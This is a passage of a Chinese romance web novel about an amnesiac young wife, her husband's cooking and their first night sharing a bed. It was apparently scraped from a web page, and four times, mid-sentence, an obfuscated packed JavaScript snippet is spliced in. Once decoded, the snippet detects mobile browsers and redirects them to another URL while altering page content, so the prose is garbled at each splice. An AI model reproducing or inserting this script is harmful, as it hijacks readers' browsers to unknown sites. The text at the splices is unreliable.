最后的画面她又躺回这张熟悉的床上,梦境与现实重叠,于是她醒过来。 天光大亮。 林汐音躺在床上醒了醒神,摸来手机看时间,九点半,裴清宴应该已经走了。 她洗漱好下楼,经过客厅时看到餐桌的花瓶新插着一束花,走近发现是铃兰,白色的花朵饱满又可爱。 桌边贴着一张便签纸—— 【三明治和牛奶在保温柜里,醒来如果觉得饿,可以先吃一点。】 裴清宴的字细劲锋利,像瘦金体,轻盈又顿笔漂亮,很贴他的气质。 林汐音无意识捏在手里欣赏了好久,直到从保温柜里取出早餐,她才舍得将那张字条放在一边。 可颂三明治,有她喜欢的酸奶酱和香肠。 做得好漂亮,林汐音不舍得就这样吃掉,摆在桌上配着鲜花拍了十几张照片。 她挑了角度最好看的一张,又去修图软件里加了淡淡的滤镜,满意欣赏了几秒,打开裴清宴的对话框发送。 顺便留言给他:【早餐很好吃。】 她在对话框里打“谢谢”,发送前又无端回忆起几天前他说过的话,于是删掉了文字,找了一张小猫蹭掌心的表情发过去。 裴清宴没回复,直到磨磨蹭蹭一顿早餐吃完,微信也没有新消息推送。 看来今天真的很忙。 林汐音把用过的餐具洗干净,刚陷进柔软的沙发,林章越的电话就打了进来。 她顿了一下,这次少了几分慌乱。 这两周她和林章越用微信偶尔交流,加上从裴清宴那里打听了些这三年发生的事情,虽然一知半解,但好在可以勉强应对些常规交流。 她接通电话,尽量自如:“爸爸,好早啊。” 林章越哼道:“新西兰现在是下午两点。” “……”这么重要的事情竟然忘了,林汐音打了个哈哈,开始丢糖衣炮弹,“我睡糊涂了,不过老爸你什么时候回国啊,好想你。” 林章越很吃这一套,语调明显愉快了些:“后天下午吧。” 林汐音也高兴起来:“那我去接你啊。” “你玩你的,方管家会安排。”林章越不愿让宝贝女儿辛苦,只提醒说,“你呢,什么时候回家?” 马上清明节,每年这个时候,林章越不论多忙都会回青杉居住一周,林汐音也是。 她想了想,说:“那我也后天吧。” 林章越没什么意见:“确定好时间发给我,到时候老胡会去接你。” 胡师傅是林章越的司机,高中接送了林汐音三年。 她在心里盘算着时间,林章越又问:“裴清宴……那小子最近对你怎么样?” 林汐音回神,摸不透老爸突然问这个的原因,茫然道:“很好啊。” “真的?” “当然是真的。”林汐音从沙发上坐直了些,强调道,“他对我很好,也很照顾我的,他送我上下班,昨天还给我做了好吃的奶油意面。” 林章越又冷哼:“无事献殷勤。” 林汐音难以理解:“你干嘛总针对他嘛。” “针对?”林章越不屑着,吐出一句,“我是怕他身在福中不知福,他们许家不知道要做几百年善事才遇得到你这样的傻子。” 许家? 哦对,裴清宴是随母亲姓。 林汐音窝在沙发里思忖了几秒,想到什么,反驳说:“老林!我不是傻子。” 林章越不知是不是笑了一声,紧接着似乎有电话进来,他便也没再多说,只叮嘱林汐音照顾好身体:“记得按时吃饭,如果被我发现你又瘦了,我保证扒掉那小子一层皮。” 话说的这么恐怖…… 林汐音甚至都没来得及解释一句她胖了五斤的事实,林章越就挂掉了电话。 但这个威胁确实震慑住了她,裴清宴订好的午餐送上门后,林汐音虽然不饿,却也还是埋头吃了个精光。 饭后她在桌边发呆,手机“嘀嘀”响了两声。 是裴清宴发来的微信消息: 【抱歉,刚刚在忙。】 【午餐合胃口吗?】 撑得她快晕倒了,林汐音趴在桌上,沉默打字: 【很好吃!】 【不过晚餐可不可以不吃了啊╥﹏╥...】 裴清宴回的很快:【为什么?】 她要哭了:【我好撑……】 怕文字不能很好的传递情绪,林汐音又发了一张小猫哭泣的表情包。 她安静等待大赦,谁知下一秒裴清宴发来了语音通话。 她紧张地坐起来:“喂?” 裴清宴那边有一阵杂音,不过他很快处理好,只是嗓音有些闷:“医生叮嘱过这段时间要好好吃饭,养好身体记忆才能恢复。” 他很会抓她的弱点:“音音不想早点恢复记忆吗?” 林汐音垂下脑袋:“想的……” 她声音小起来,像刚刚对话框里委屈的小猫一样,裴清宴叹了口气,语气柔缓:“如果正餐没胃口,我安排人送一点桂花酒酿冰汤圆去家里怎么样?” 林汐音立马精神起来:“真的吗?” “但冰的不行。”裴清宴犹豫了一下,“去冰,温一点可以吗?” “可以的!”林汐音生怕他反悔,急道,“热的也没问题。” 裴清宴笑起来,声音隔着手机传来,透过电流仿佛沉了几分。 林汐音耳朵有些痒,沉默了片刻才问:“你今天是不是很忙……这样会不会打扰到你啊。” 她不知道是不是应该结束通话,可内心又期盼能和他多说几句。 裴清宴说:“不会。” 林汐音又趴回桌上,手指抚弄过一片铃兰花瓣,触感很棉软,带着一点纱感。 “我有点无聊。”她声音很小。 其实以前她也总一个人呆着,高中读书时喜欢一个人在房间里看书,大学时又喜欢在植物基地养花种树,毕业以后喜欢干什么?暂时想不起来…… 但好像大部分时间她都喜欢一个人,并且从来也不会觉得无聊。 今天…… 她很反常…… 林汐音觉得自己这样很怪,忙换了个话题:“下午我打算恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375671|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补一下这几年的电影,你下午准备做什么呀?” 裴清宴似乎一直在忙,没听到她说无聊那句,回道:“下午有两个会要开,结束……大概要很晚。” 他答得很慢,林汐音怕打扰到他的工作,便顺着结束话题:“那你抓紧时间休息一会儿吧,我也打算去睡午觉了。” 裴清宴低声说好。 林汐音最后嘱咐道:“你也要按时吃饭哦。” 几分钟的通话结束,房间又恢复安静。 林汐音呆坐了片刻,起身上楼。说是准备恶补一下电影,但等她真的走到放映室门前时,脚步又顿住。 有人陪着看过电影后,好像真的很难再自己一个人了…… 林汐音犹豫几秒,转身回卧室看书去了。 她最近在看新版的植物病理学,想着哪天关颖实习期结束,老银杏如果没人照顾的话,她还是希望自己能继续负责起来。 人一旦陷入阅读后时间就过得飞快,林汐音一下午几乎要将只剩百页的病理学看完,还是傍晚时门铃响了,她才从书里抬起头。 是裴清宴帮她订好的晚餐送到了。 林汐音拎着保温袋回到客厅,打开电视,在晚间档的连续剧背景音下开始品尝她的晚餐。 桂花酒酿……温汤圆。 她尝了一口,发现这味道和她最爱的那家小花店的口味很像,她疑惑又惊喜,细细品尝间一碗很快见底,身体也暖起来。 她仰头倒在沙发里,长舒一口气。 好好吃,好喜欢,好舒服。 电视剧还在热闹的播放着,她有一搭没一搭的看着,不知是不是温热的酒意有些上头,没一会儿就眼皮发沉。 她想回楼上去睡觉,又朦胧回想起裴清宴还没回来。 他说不用等他,但…… 现在还早,等一小会儿应该没关系吧。 林汐音摸来小毯子盖在身上,又挣扎着看了两集电视剧,夜色越来越沉时终于抵不住困意睡了过去。 …… 裴清宴回到家,客厅幽幽泛着光。 他脱掉西装外套,换鞋时动作很轻,他往那光源处走,心里有期待又有紧张。 他希望林汐音会等他,又担心她会太累,希望她能早点休息。 直到……停在沙发前,她睡着了。 林汐音窝在沙发靠枕里,身上盖着的毯子滑落一大半,她却浑然不知,半张脸陷进毛绒里。 裴清宴半蹲下身子,小声叫她:“音音?” 林汐音胡乱地蹭了下靠枕,声音含糊不清。 裴清宴想起早上她发的那张小猫蹭掌心表情包。 此刻她却比那小猫更惹人怜爱。 他伸手将她额前的碎发拨开,不忍心喊她醒来,保持风度地询问:“抱你回房间去睡,好吗?” 林汐音无法分辨他说了什么,只听到好吗,便下意识点头。 裴清宴俯身将她横抱起,软香的身子贴上他,鼻息交叠很近。 他仰头偏开,平静数秒后往楼上走。 几乎很小的颠簸,她却醒过来,看清近在咫尺的人,依旧很困。 “你吃晚饭了吗?”她迷迷糊糊地问。 裴清宴以为她醒了,低头查看时发现她闭着眼睛。 他回:“没有。” 林汐音想了想,但不知想了什么,没几秒,彻底睡着了。 9. 亲密 醒来又是日上三竿。 林汐音严重怀疑自己不是睡着了,而是昏迷了。 最近怎么能觉好到这个程度啊…… 洗漱好下楼,裴清宴已经不在,这两天他都是早出晚归。 几口解决掉早餐,林汐音回到房间,想把剩余的病理学看完。原本以为午饭前看的完,谁知饭后又看了几个小时,等一本书合上,时间已近傍晚。 她回房间泡了个热水澡,再回到客厅打算追剧,突然想到昨晚和裴清宴短暂的两句交流。 他回来时接近十二点,忙到那么晚竟然都没有吃饭。 这段时间都是他在给她准备一日三餐,林汐音好像从来没关心过他喜欢吃什么,昨夜不过是随口一问。 她觉得有些愧疚,谈不上想要补偿,但不希望他忙到饿肚子。 林汐音想了想,摸出手机,找到许听言的微信对话框,发了一个小猫求助的表情。 许听言比想象中回复的快,但只有一个冷漠的问号。 林汐音关心道:【你今天忙嘛,等下会不会有手术啊。】 许听言:【不忙,我今天休息。】 林汐音斟酌该怎么开口,对话框的下条消息已经进来:【我哥怎么了?】 林汐音一惊:【你怎么知道我要问和他相关的啊。】 许听言:【问别人需要找我?】 这倒也是。 林汐音发了个小猫害羞的表情包,开门见山道:【你哥哥他……有什么特别喜欢吃的食物吗?】 许听言隔了几秒才回:【这我要想想。】 林汐音期待着。没几秒,许听言又说:【想不起来,感觉他什么都不爱吃。】 林汐音:“……” 许听言:【怎么了,你要做饭给他吃啊。】 林汐音:【有这个打算……】 许听言很疑惑:【为什么不找阿姨做?】 林汐音一顿,也是,她从小到大的一日三餐除了在学校吃,就是家里的阿姨胡姐在做,很少有需要自己动手的时候,想来裴清宴应该也一样。 不过她这两周却吃了很多次他做的饭,礼尚往来……也应该做一点给他吧。 林汐音回忆着最近他们一起吃过的几餐,发现都是她的喜好,一时间猜不透裴清宴到底喜欢吃什么,正胡思乱想着,许听言又发来消息:【啊,想到了。】 林汐音忙问:【是什么?】 许听言:【蛋挞吧。过年的时候他天天在家里烤。】 蛋挞吗? 那和她口味很像啊。 林汐音瞬间觉得事情好办起来,可转念又想到自己从小到大只煮过粥,对于做饭完全是一窍不通,好办的下一秒又开始发愁。 她给许听言回复了小猫亲亲的表情表达感谢,但对方似乎去忙别的事情了,也没再回她。 她上网搜了很多教程,发现每一个蛋挞教程的做法都不同,最终还是选择向胡姐求助。 谁知胡姐一听她要自己动手,嚷嚷着林先生知道了一定要发脾气,坚决不肯,又在林汐音的撒娇软磨硬泡下心软,最终答应和她视频教学。 林汐音按照胡姐发来食材清单准备,原以为要去超市采购一番,没想到家里的食材齐全,甚至就连模具都有好几种。 视频教学进行地十分顺利,林汐音把一盘小猫形状的蛋挞模具推进烤箱时,时间还不到九点。 十几分钟就可以烤好,林汐音预约好九点半的时间,胡姐看一切就绪,终于放下心来:“林先生说您明天回来,早餐需要准备吗?” 早餐吗。 林汐音想到可颂三明治,又想到裴清宴。 如果她早点出门的话,那就不用再辛苦他准备早餐了吧。 林汐音想了想,说:“我一早就回去。” 胡姐说好,问她:“想吃什么?” “我想回去补个觉,早餐就不吃啦,我们午饭早点吃吧。” 林章越下午回来,晚餐八成是要提前的。 胡姐一一应下,确认好她回家时间,又安顿她早点休息,最后安心挂掉了视频。 一切安排妥当,林汐音看蛋挞烤好还需要些时间,便先上楼收拾起东西。 其实没什么要带的,不过是新买来的几本书。 但她收着收着就摊了满床的衣服,这两周没顾得上细看衣柜,刚刚想要找一件外套带上时,意外发现里面有好多漂亮衣服。 大概是这三年买来的,甚至还有一件是当季未发售的新款。 她挑挑看看,喜欢得很,没一会儿楼下似乎传来脚步声。 是裴清宴回来了吗? 林汐音想下楼去找他,又看到满屋乱糟糟,犹豫了下还是决定先把明天要带的东西整理好,顺便把衣服收回衣柜再说。 包里最多塞得下两本书,她正苦恼是不是该带个行李箱,那脚步声就越来越近,最终停在她的房间门口。 等了几秒没有进展,林汐音回头。 裴清宴站在离她不远处,却没再走近,目光停留在她塞了一半的包上,良久才问:“音音……要走吗?” 正好打算和他说回青杉居的事情,林汐音点头道:“是的,还没来得及和你说,明天我……” “为什么?”裴清宴突然打断她。 “啊。”她没懂。 他重复着,把话说完:“为什么要走?” 裴清宴从她包上移开目光,看向她时眼神却含了很多意味不明。 林汐音顿了下,反应过来后觉得他可能误会了什么。 毕竟有前车之鉴,她忙摆摆手解释:“我不是要去哪里,是要回青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375672|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杉居,大概一周就好。” 裴清宴始终注视着她,好半天一语不发。 林汐音突然有些紧张,可眼下不是沉默的好时间,她犹豫几秒,主动向他走近。 “我吓到你了,对吗?”林汐音站在他面前,少有的手足无措,她知道自己刚刚已经解释过,可直觉告诉她最好再说些什么,她犹豫着,“我没想瞒着你的,只是这两天没有见面,微信的话我又怕打扰到你。我真的只是回去一趟,下周就会回来,你要相信我……” 他不知在想什么,一贯带笑的面容突然很冷。 “之前,前两年……”林汐音努力回想,脑袋还是空白,只好猜测,“每年这个时间,我应该都会回青杉居的对吗,我想不起来……但应该是这样的……” 林汐音还在组织语言,裴清宴却突然泄力,低声说抱歉。 她有些茫然。 裴清宴低头看着她:“刚刚我以为你要走……”他停顿了几秒,再开口时嗓音有些哑,“抱歉,我不该质问你。我只是……” “没关系的,我知道……”林汐音觉得自己嘴巴好笨,“我能理解的,真的。我没有怪你。” “有些害怕。”他补道,又重复,“我很害怕你会走,音音。” 林汐音哑声顿住。 她不知道此刻还能说些什么让他安心,因为感受得到他说的每一句都是真话。 她等了一会儿,在即将重新陷入沉默时伸出一只手,她学他的样子牵住他,想要安抚,又觉得这样似乎也不够。 混乱中她想起一周前的那次安慰,小心翼翼道:“要,要抱一下嘛?” 裴清宴的表情终于有了一丝变化,林汐音捕捉到这不是难过也不是生气,放下心来,她没等他的回复,主动向他靠近,一只手很轻的搭在他身后。 脸颊贴上他胸口。 裴清宴身量太高,他不弯腰时,林汐音的头顶勉强到他下巴。 她不敢有多余的动作,只是轻轻抱着他,几乎都要不能呼吸。 僵持几秒,裴清宴终于肯低下肩膀,林汐音鼻息从他肩头擦过,下一秒被他紧紧拥入怀中。 他的呼吸轻颤,抱得好紧,她能听到他的心跳声。 有力又规则。 不像她……心跳好快,又好乱。 裴清宴掌心贴在她腰际,将咫尺的距离拉近,他气息很沉,洋洋洒洒扑在她肩头。 太紧了,林汐音感觉有些腿软。 “裴清宴……” 她想叫他松开一些,感觉呼吸有些困难,谁知这名字就像什么开关,她话音刚落,那灼热的呼吸就顺着她脖颈攀附,一寸寸滑向耳根。 好痒,她偏开头。 裴清宴顺势追过去,鼻尖抵上她侧颈,轻轻蹭了蹭。 “好想吻你。”他说。 10. 同床 林汐音瞬间脸红透:“什,什么……” 裴清宴呼吸声很重:“可以吗。” “不,不行……” “为什么?” “因为……”林汐音头晕脑胀,回答都是靠本能,大脑乱成浆糊没法思考,她找不到理由,即将投降前突然听到楼下传来“叮”的一声。 思绪有些回笼,她辩出这声音的来源,忙说:“我做了吃的给你,是,是蛋挞,已经烤好了!” 她轻轻推了下他紧实的腰腹,吐息都在颤抖:“要尝尝吗……” 裴清宴松开她,又抬手抚上她后颈,迷恋般摩挲几下,眼神温柔又沉。 “蛋挞?”他问。 林汐音点点头:“我听说你爱吃蛋挞,特意烤了一点给你,但我也是第一次做,不确定会不会好吃……” 裴清宴没有深究这个听说的来源,只注意到“特意”二字,心情终于放松。 他牵起林汐音的手:“好,我很期待。” “真的吗?”林汐音很希望得到他的反馈,高兴起来,“现在吃的话口感应该刚刚好!” 她说着便往楼下走,没松开他的手,两人就这样牵着走到厨房。 裴清宴怕她烫伤,主动接过防热手套,又提醒她后退到岛台边上等,他把一盘小猫形状的蛋挞取出,香甜的热气瞬间将两人包围。 林汐音突然愉悦起来:“卖相还不错,也许会成功诶。” 裴清宴将托盘放在岛台上。 “第一块先给你。”林汐音挑了一块色泽最漂亮的,轻轻吹去热气,递到他唇边,“小心烫。” 裴清宴就着她的手咬了一口,姿态如往常矜贵慵懒,开口却温柔诚恳:“很好吃。” 他又说:“我很喜欢。” 林汐音怕他是在捧场,半信半疑间将剩下的蛋挞塞进嘴里,唇齿瞬间被香气充盈,她没忍住感慨:“啊,竟然真的很好吃!” 裴清宴看向她沾了一点酥皮的唇,又撇开目光。 林汐音反应过来自己和他分吃了一块蛋挞,心跟着轻轻一跳:“对,对不起,我忘记了……” “没关系。”他拿起一块新的,同样递去她唇边,指腹不着痕迹擦掉那一块碎屑,柔软的触感让他心神不宁,“音音再尝一下这块。” 林汐音迷迷糊糊的:“哦,哦,好的。” 她咬了一口,还是很好吃,第一次做蛋挞就大成功! 裴清宴看她鼓起的脸颊,唇角牵起笑。 林汐音想把剩下的半个蛋挞吃掉,他却不肯,在她伸手前送到唇边咬下,品尝时不忘评价:“这块更好吃一些。” 他又学她。 林汐音一阵脸热。 再后来就是沉默地品尝蛋挞,一共六块,眨眼间只剩空盘。 马上十点钟,明天大概还要早起,林汐音想道晚安,开口前先铺垫了一下:“下次我再做别的给你,如果你有想吃的,一定要告诉我哦。” 裴清宴将空盘收进洗碗机,说:“好。” 林汐音顺水推舟:“那早点休息,晚安。” 裴清宴还是说:“好。” 林汐音绕过岛台往楼上走,走了几步发现他跟在身后,又随她走过大半楼梯。 他的房间不是在楼下吗? 林汐音顿住脚步,裴清宴也停下。 她转过身,裴清宴虽然低她一级台阶,却还是要高她一点。 离得好近,林汐音默默又上一阶。 终于高他一些,裴清宴仰头看她,眉眼在灯光笼罩下帅的很清晰。 不过是两天没见,他怎么好像又帅了一点,这件衬衫她没见过,衬的他身材好好。 林汐音心跳起来:“你……是在跟我上楼嘛?” 总不能是去放映室?很晚了。 也不会是去书房吧?楼下也有啊。 裴清宴站在她面前,承认道:“是的。” “为什么?” “还不想和你分开。”裴清宴拾级而上,再开口时音色很沉,“两天没有见到你,我很想你。” 气息很近,声音也好好听,林汐音有点晕,垂下视线不敢看他:“昨天有见到的……” “明天你要回家,下次再见是一周后对不对?”裴清宴声音似乎裹上委屈,尾音很轻,“今天不能多陪陪我吗?” 林汐音几乎要脱口而出可以,她深深呼吸,找回一点理智:“可是已经很晚了,明早你还要上班吧,应该早点睡……” 裴清宴很低的“嗯”了声,距离很近,他微微低头就可以将额头搭在她肩膀,如此近的距离说什么话都很难让人拒绝。 所以他说:“今晚可以和我一起睡吗?” 林汐音瞪圆双眼,彻底晕了。 他又解释说:“你没有准备好前,我不会做过分的事,音音可以相信我。” 林汐音:“没有不信你……” “那可以吗。”裴清宴轻轻勾她的小指,音色里全是蛊惑,“音音……” …… 最后是怎么答应的林汐音已经有些记不清了,总之等她回过神的时候,她已经洗漱好坐在了裴清宴的床上。 她抱着枕头发呆,听着浴室断断续续传来的水声,脸红到要爆炸。 不应该不应该太不应该了! 哪怕他用那张好看的脸祈求她,也不应该就这样答应一起睡觉啊! 林汐音一头扎进枕头里,懊悔的同时又开导自己,都结婚三年了,睡在一起也很正常啊……而且他看起来真的很委屈,做人不能铁石心肠啊! 只是她的记忆还停留在三年前,那个她还没谈过恋爱,没交过男朋友的时候…… 理智上能够接受,情感上又太害羞…… 就这样天人交际了半响,浴室的水声突然停下,没一会儿裴清宴擦着头发出来,只穿了一条长裤。 林汐音从枕头上抬眼,刚好和他对视。 他皮肤好白,腰也好细,明明穿着衣服的时候看起来很瘦,可脱掉后肌肉线条又好漂亮。 腹肌也分明有力。 林汐音一时有些看呆。 裴清宴向床边走近,宽阔的肩膀弯下来取睡衣时,林汐音才后知后觉回过神。 她猛地一头扎回枕头,恨不得自己下一秒就昏睡过去。 好完蛋,她刚刚就像一个花痴! 裴清宴穿好衣服在床边坐下,看着林汐音埋在枕头里的小脑袋,微不可查地扬起笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375673|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他抬手拢在她脑后,大手揉了揉她蓬乱又长的发,声音很轻:“怎么了?” 林汐音胡乱道:“有,有些困了。” “那躺下睡,好吗?”裴清宴帮她掀开被子一角,“这样会不会呼吸不畅。” 会,马上要憋死了。 林汐音顺从的坐起来,一头浓密的长发被她蹭乱,脸颊因为缺氧染上红,圆而大的杏眼也晶亮含水。 她好漂亮,裴清宴无法用理智提醒自己移开目光,他视线贪婪赤裸,和她的近距离让他有些失控。 房间只有床头灯亮着,半明半昧的灯光下林汐音看不清他的神情。 她乖乖地钻进被窝里,躺在一角,心事重重地盯着天花板。 裴清宴掀开另一边被子,还未躺下,林汐音突然又坐起来。 他看过去。 她凑过来说:“你头发还没有吹干,这样直接睡的话可能会偏头痛。” 裴清宴一顿,他想过要吹,可是:“会很吵。” 林汐音说:“没关系,我晚几分钟睡也可以的。” 裴清宴一时没动,打算出房间去吹时,林汐音又主动请缨道:“要不要我帮你吹。” “可以吗?”他视线微动。 林汐音在床头插好吹风机,和裴清宴对面对坐下,她拨动开关,温度宜人的风瞬间拂过他发尾。 吹风机的声音很轻柔,完全就不吵嘛。 林汐音指腹伸进他发间,很轻柔的随风摆弄,没几分钟就吹去潮意,她关掉吹风机,轻轻拨弄了下他额前的头发。 裴清宴睁开眼,微弱的灯光落进他眼睛,那双眸子染上深色。 他眼睛好漂亮,眼尾狭长,睫毛也好密,林汐音又无意识陷进他的美色,痴痴欣赏了一番,手也忘记收回来。 “不要这么看着我。”裴清宴垂下眼睫。 林汐音眨眨眼:“为什么?” “因为——”他捉住她的指尖,包在掌心里用了点力,“我可能会做些坏事。” 裴清宴再次抬眸,林汐音后知后觉出一丝危险。 她下意识往后挪了一点,和他隔出些距离,可手指还被他攥在掌心里。 “吹好了……”她小声提醒道。 裴清宴又贪恋了几秒她指尖的温度,最终还是松开:“嗯,睡吧。” 林汐音听话的重新躺回去。 裴清宴关掉床头灯,躺在另一边,两人中间隔着些距离。床好大,即使盖了同一条被子,翻身似乎也碰不到彼此。 太安静了,林汐音感觉困意消散了大半,大脑也活跃起来。 他刚刚说会做些坏事,坏事不会是……她虽然在此之前没谈过恋爱,可也不是什么都不懂,更何况他们都结婚这么久了。 林汐音被自己的胡思乱想羞到耳根发烫,难以维持平躺的姿势,整个人侧身埋进枕头里。 平静了片刻。 没成功,感觉好热,晚上喝什么了吗,也没有啊…… 林汐音重新翻了个身,闭上眼数羊。 没几秒…… 还是好热,而且大脑不受控制,林汐音坐起来,换了口气打算下床。 还没来得及,身后探来一只手,握住她的手腕。 11. 安心 “怎么了?”裴清宴也坐起来。 林汐音一瞬间有些愧疚,抱歉道:“我有点渴,想去喝水。” 裴清宴没说话,拧开床头灯,起身去客厅。 再回来时他走到林汐音床边一侧,在她身边坐下,低头将杯子递过去。 “喝慢一点。” 林汐音乖巧喝了一口:“谢谢。” 裴清宴把水杯放在她床边的矮桌上,却没起身离开。 灯光微亮,距离暧昧,气氛无端紧张起来。 林汐音这时候才想起来要道歉,低声喃喃说:“对不起……我是不是打扰到你休息了。” 裴清宴否认:“不会。” “已经很晚了……” “我很开心。”裴清宴长指抚过她侧脸,将她唇边的一丝头发拨开,声音低沉好听,“你愿意陪我,我很开心。” 林汐音抬起头看他。 裴清宴笑问:“我们现在是不是,变亲近了一些?” 她顿了顿,郑重地点了下头。 这么近的距离,那好闻的雪松香似乎变沉了几分,林汐音脸颊被他碰的有些痒,无意识蹭了一下。 裴清宴动作稍顿,克制地蜷了下手指。 “下周几回来,我可以去接你吗?” “还没有确定。”林汐音有些为难,“要看爸爸的时间,而且胡师傅应该会送我回来。” 话毕,她又想着裴清宴这么问,或许是因为结婚以后都是他接她回来? 默了下,林汐音又小心问:“之前,是你接我的吗?” 这次换裴清宴沉默,好半响,他才道:“没有。” “那就不用麻烦啦。”林汐音松一口气,“我们在家里见就好。” 裴清宴没说话,她又想起什么:“之前你说清明后有家宴,听言不回去的话,要不要我陪你一起啊?” 没得到回复,他沉默了好久,林汐音疑惑着,缓缓凑近。 她气息贴近,裴清宴回过神来:“不用。” 好吧,林汐音又坐回去。 房间一时又恢复沉默。 裴清宴终于从回忆里抽离,问她:“现在要休息吗?”他沉声询问,又说,“如果还是不困,要不要再陪你说说话?” 林汐音已经平静了许多:“不用了,你工作一天一定很累了,而且明早我和胡师傅约好了,八点钟的时候他会来接我,今天还是早点休息比较好。” 裴清宴低声应下。 林汐音轻车熟路地躺回去,身后却没动静,等了几秒,裴清宴在她身后躺下。 同床共枕,林汐音一顿,下意识往床中间蹭了蹭。 他没有回到原本的位置,她也没有出声询问,有什么好似在此刻达成一致。 身后温热的体温难以忽视,林汐音却安静闭上眼睛,放空思绪酝酿睡意,她被雪松的香味包裹,心情放松下来,没多久进入梦乡。 这一觉睡得很沉,直到第二天一早的闹钟响了两声,林汐音才迷迷糊糊睁开眼。 天色还未全亮,恍惚间她想起来自己定了六点的闹钟,要起床收拾东西,她挣扎着想要按掉手机,指尖刚伸出暖热的被窝,闹钟声就消失了。 她微微撑开眼帘,身后搭过来的手臂拢住她,后背贴上一片温热。 耳边传来道微哑却低沉的声音:“还早,要不要再睡一会儿?” 怀抱里热气让她重新犯困,眼皮又合上,她稀里糊涂地说:“书还没收拾好,胡师傅八点会来……” “等下帮你收拾好,别担心。” 林汐音昏昏欲睡,那好听的声音又说:“来得及。” 那好吧,林汐音最后分神思考了两秒,接着眼皮一沉,又睡了过去。 这一觉再醒来是七点半,林汐音睁眼后先是茫然紧张,再然后想起什么,才长长舒了一口气。 房间只剩她一个人,她听到客厅传来的声音,揉了揉眼睛,起身去洗漱。 收拾妥当后她站在门口换鞋子,裴清宴将装好的书和早餐递给她:“那天你说可颂三明治还不错,今天我换了一点培根,要不要再试试?等下饿的话可以在车里吃。” 原本没什么饥饿感,可听他这么一描述,林汐音顿觉有了饿意。 她接过来,这次没忍住道了谢。 “我们说过的。”裴清宴提醒她,“不要对我这么客气。” 他说着,高挑的身形向她低下,呼吸拂过额头,林汐音下意识抬眼,有什么似乎轻轻蹭过她的发,然后转瞬即逝。 裴清宴声色很柔,似乎带了一丝祈求:“早点回来。” …… 八点和胡师傅碰面,坐进迈巴赫后座,林汐音心情复杂。 这段时间她一直和裴清宴在一起,安心之余差点忘记自己丢掉三年记忆的事情,这次独自回青杉居,她不免有些紧张。 也许得挑个时间和林章越坦白她的情况。 啃完一个可颂,车子开进青杉居大门,停在主楼前面。 林汐音缓神几秒,开门下车。 喷泉没变,花园也茂盛漂亮,一切都和她记忆中相差无二。 方管家迎上来,微微颔首打过招呼,笑问:“新西兰这个季节要更舒适一些,怎么提前回来了?” 林汐音心虚起来,一方面是失忆,一方面是:“抱歉,之前回来没有联系您,接到爸爸的电话很慌张吧。” 方管家和林章越年纪差不多,在林家工作二十几年,如此大事前也沉的住气:“还好,只是在想,下一份工作是不是该找个普通家庭比较好。” 还有心思开玩笑,应该是没什么事情,林汐音放松下来,保证道:“再有下次,一定会第一时间和您联系的。” 方管家问:“包括受伤住院的事情吗?” 林汐音一惊:“您都知道了……” 方管家轻声叹了口气,没做解释,却也胜似解释,他说:“进去说吧。” 走进主楼,穿过长的门厅,林汐音心事重重地坐进客厅沙发。 胡姐送来一碗桂花酒酿冰汤圆,她瞧了一眼,没提起精神。 胡姐看她这样子担心的很:“是不是有哪里不舒服?” 林汐音恹恹摇头:“没有的。” 胡姐根本不信:“怎么会,以前看到小汤圆就要双眼冒光,哪怕林先生叮嘱要少吃一些凉的,也要半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375674|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜偷偷找我来要一碗,今天怎么没有兴趣了呀。” 林汐音不知要怎样解释自己的心虚,方管家站在沙发边上适时开口:“可能太早了还没有胃口,换些水果来吧。” 胡姐欲言又止,犹豫片刻担忧离去。 没有其他人在,方管家主动问:“这件事,您不打算告诉林先生吗?” 其实是想说的,可是林汐音一想到林章越对裴清宴的态度,就有些胆怯,她怕林章越知道以后会迁怒裴清宴,从而更生他的气。 她低着脑袋不说话,方管家又叹气:“好吧。” 林汐音抬起头来:“您不会告诉爸爸吗?” “如果由我来说,也许只会给林先生增添烦恼……”方管家没有许诺,却道:“或许您主动和他坦白会更好。” 